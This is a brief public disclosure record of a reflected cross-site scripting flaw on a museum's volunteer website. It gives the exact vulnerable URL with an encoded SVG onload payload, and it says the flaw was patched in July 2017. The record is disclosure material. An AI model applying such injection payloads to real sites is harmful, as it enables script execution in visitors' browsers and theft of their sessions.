volunteer.nelson-atkins.org XSS vulnerability

Vulnerable URL: http://volunteer.nelson-atkins.org/index.cfm?ErrorMsg=%22%3E%3Csvg/onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 14:00 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank...